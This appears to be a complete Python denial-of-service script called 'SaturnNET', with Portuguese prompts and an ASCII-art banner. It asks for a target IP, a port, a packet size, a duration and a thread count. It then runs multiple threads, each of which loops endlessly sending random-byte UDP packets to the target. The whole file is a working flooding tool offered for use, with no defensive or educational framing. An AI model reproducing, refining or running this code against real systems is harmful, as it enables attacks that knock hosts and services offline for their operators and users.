# script by fehzxkkj import socket import os import random import threading from time import sleep class Colors: HEADER = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[38;5;213m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' RED = '\033[94m' def print_line(): print(Colors.RED + "=" * 35 + Colors.ENDC) os.system('clear') banner = """ ████▀░░░░░░░░░░░░░░░░░▀████ ███│░░░░░░░░░░░░░░░░░░░│███ ██▌│░░░░░░░░░░░░░░░░░░░│▐██ ██░└┐░░░░░░░░░░░░░░░░░┌┘░██ ██░░└┐░░░░░░░░░░░░░░░┌┘░░██ ██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██ ██▌░│██████▌░░░▐██████│░▐██ ███░│▐███▀▀░░▄░░▀▀███▌│░███ ██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ ██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██ ████▄─┘██▌░░░░░░░▐██└─▄████ █████░░▐█─┬┬┬┬┬┬┬─█▌░░█████ ████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████ █████▄░░░└┴┴┴┴┴┴┴┴┘░░░▄████ ███████▄░░░░░░░░░░░▄███████ """ print(Colors.RED + " " + Colors.ENDC) sleep(0.1) print(Colors.RED + "#" * 89 + Colors.ENDC) print("") print(Colors.RED + banner) print("") print(Colors.RED + "#" * 89 + Colors.ENDC) print("") print_line() print(Colors.ENDC + "SaturnNET by fehzxkkj") print_line() print("") print(Colors.RED + "[ * ]" + Colors.ENDC + " Preparando o ataque..." + Colors.RED) ip = str(input(Colors.RED + "[ * ]" + Colors.ENDC + " IP do alvo: " + Colors.RED)) porta = int(input(Colors.RED + "[ * ]" + Colors.ENDC + " Porta do alvo: " + Colors.RED)) pack = int(input(Colors.RED + "[ * ]" + Colors.ENDC + " Tamanho dos pacotes (em bytes): " + Colors.RED)) time = int(input(Colors.RED + "[ * ]" + Colors.ENDC + " Tempo : " + Colors.RED)) thread_count = int(input(Colors.RED + "[ * ]" + Colors.ENDC + " Número de threads: " + Colors.RED)) os.system('clear') print(Colors.RED + "#" * 89 + Colors.ENDC) print("") print(Colors.RED + banner) print("") print(Colors.RED + "#" * 89 + Colors.ENDC) print("") sleep(0.1) print_line() print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" Ataque iniciado com sucesso!") print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" IP alvo: {ip}") print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" Porta alvo: {porta}") print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" Tamanho dos pacotes: {pack} bytes") print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" Threads: {thread_count}") print(Colors.GREEN + "[ * ]" + Colors.ENDC + f" Ataque em andamento...") print_line() print("") def start(): xx = 0 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) data = random._urandom(pack) for i in range(time): s.sendto(data, (ip, porta)) xx += 1 except Exception as e: s.close() print(Colors.FAIL + 'Erro ' + str(e) + Colors.ENDC) threads = [] for x in range(thread_count): thread = threading.Thread(target=start) thread.start() threads.append(thread) for thread in threads: thread.join()